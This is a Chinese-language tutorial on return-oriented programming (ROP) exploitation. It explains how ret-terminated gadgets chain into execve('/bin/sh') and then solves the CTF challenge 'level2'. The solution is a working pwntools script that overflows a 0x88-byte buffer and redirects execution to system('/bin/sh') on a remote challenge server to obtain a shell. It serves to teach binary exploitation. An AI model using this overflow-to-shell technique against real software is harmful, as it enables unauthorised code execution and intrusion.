ROP(Return Oriented Programming)攻击原理:提取反汇编中以ret结尾的代码片段或函数组合实现拓展可写栈空间,组成/bin/sh等常用系统执行命令。
ret指令:将ESP(栈顶地址)中地址弹出至EIP寄存器,代码自动跳转到之前栈顶存放的返回地址,以此构成rop链。(X86)rop链即是基于以上这个简单的原理,在代码空间中寻找以ret结尾的代码片段或函数(代码片段称为Rop gadgets),组合可以实现拓展可写栈空间、写入内存、shell等功能,依靠ret将代码执行权紧握在自己的手里。
实例:payload汇编代码构造过程:
mov eax,0xb
mov ebx,["/bin/sh"]
mov ecx,0
mov edx,0
int 0x80
代码:execve("/bin/sh",NULL,NULL)
栈构建(简化构造,ret addr直接指向上一格位置所示处,0x80be408为/bin/sh字符处):
读写过程:首先使IP指向 pop eax;ret 地址->执行该地址指令,将栈顶值(提前装载0xb)pop到eax中,同时ret使IP指向下一步ebx的装载,依次将edx,ecx,ebx装载0,0,/bin/sh,最后跳转到int x80,进行寄存器代码执行,即:
eax=0xb edx=0 ecx=0 edx=0 int 0x80 完成代码execve("/bin/sh",NULL,NULL)
<取指令为ret触发,取指令后根据指令集对栈顶数据作出相应pop操作取值,然后进行ret下一步反复执行>
例题:攻防世界level2
反编译IDA:
首先先看main:
buf缓冲区查看:
这里可以知buf_c=0x88,由于是32位程序,可以判断到EBP位置距离为:0x88大小,再加上覆盖callee的ebp地址0x04,所以到返回值地址为:
buf_addr=b'A'*0x88 + b'a'*0x04
由两图可知:system 以及 /bin/sh参数地址,需要注意的是:
在32位程序运行中,函数参数直接压入栈中调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1,而system第一个汇编会执行:push ebp 的操作
如此一来,网上再寻两个地址的值,即自己插入的ebp 和return address,可以到达参数位置
故:system后参数要带入返回地址,需要加一个p32(0)构建虚假地址,然后进行参数地址传递
构造代码:
1 from pwn import *
2
3 p=remote('111.200.241.244',61811)
4 sys_addr=p32(0x8048320)
5 bin_sh=p32(0x0804A024)
6
7 payload =b'A'*0x88 + b'a'*0x4+sys_addr +p32(0)+ bin_sh
8 p.recvline()
9 p.sendline(payload)
10 p.interactive()
最后ROP:
另:当多个plt组合时,system_addr构造时往往会加上许多其他函数块
如图所示,get@plt中获取buf2,然后利用ROPgadget获取pop指令,将buf2直接pop,达到栈平衡,此时可以继续执行system@plt的指令集